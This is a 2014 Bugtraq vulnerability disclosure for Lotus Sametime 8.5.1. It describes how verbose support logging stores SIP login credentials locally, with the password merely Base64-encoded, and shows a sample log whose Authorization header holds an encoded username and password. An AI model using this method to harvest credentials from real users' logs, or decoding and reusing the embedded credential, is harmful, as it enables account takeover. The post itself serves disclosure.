Message-Id: <201402191546.s1JFkZCh014807@sf01web2.securityfocus.com> Date: Wed, 19 Feb 2014 15:46:35 GMT From: adrianomarciomonteiro@...il.com To: bugtraq@...urityfocus.com Subject: Post Exploitation - Getting username and password in the Lotus Sametime 8.5.1 # Exploit Title: Post Exploitation - Getting username and password in the Lotus Sametime 8.5.1 # Google Dork: n/a # Date: 18/02/2014 # Exploit Author: Adriano Marcio Monteiro <adrianomarciomonteiro@...il.com> # Vendor Homepage: http://www.ibm.com/us/en/ # Software Link: http://www-01.ibm.com/support/docview.wss?uid=swg24027054 # Version: 8.5.1 # Tested on: Windows 7 SP1 x86 pt-br # CVE : Lotus Sametime is an instant messaging application that includes several features such as video conferencing, phone calls, etc. .. In case of problems the Lotus Sametime provides functionality to register and trace log (Menu: Help / Support / Show Tracker). When you enable verbose logging is possible to obtain the user and the user's password (the password is in Base64), according to the procedure below. The vulnerability is in telephony.softphone.service more specifically in Source Class.Method: com.ibm.ws.sip.stack.transport.TransportLayer sendMessage Communication with the server is done via TLS, but the local content communication log is saved in clear text and the password is in base 64. Sample log: Out Message: [172.29.1.121:62444->172.28.10.138:5081/TLS] REGISTER sip:sipserver.meudominio.com.br:5081;transport=tls SIP/2.0 Call-ID: 0.CA3.11C8340A9391D37E@....29.1.121 CSeq: 1 REGISTER From: <sips:adriano.monteiro%40meudominio.com.br@...server.meudominio.com.br:5081>;tag=3996.696000502281 To: sips:adriano.monteiro%40meudominio.com.br@...server.meudominio.com.br:5081 Via: SIP/2.0/TLS 172.29.1.121:5061;branch=z9hG4bK-6283666955645770411 Max-Forwards: 70 Contact: sip:172.29.1.121:5061;transport=tls Expires: 0 User-Agent: Sametime-Softphone-8.5.1.20100709-0934 Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, INFO, MESSAGE, UPDATE Authorization: Basic cred="YWRyaWFuby5tb250ZWlyb0BtZXVkb21pbmlvLmNvbS5icjpBbW9yMTAxMA==" Content-Length: 0 Using a simple script you can automate the process of getting username and password, but beyond the scope of this tutorial and I will not explain this process here.
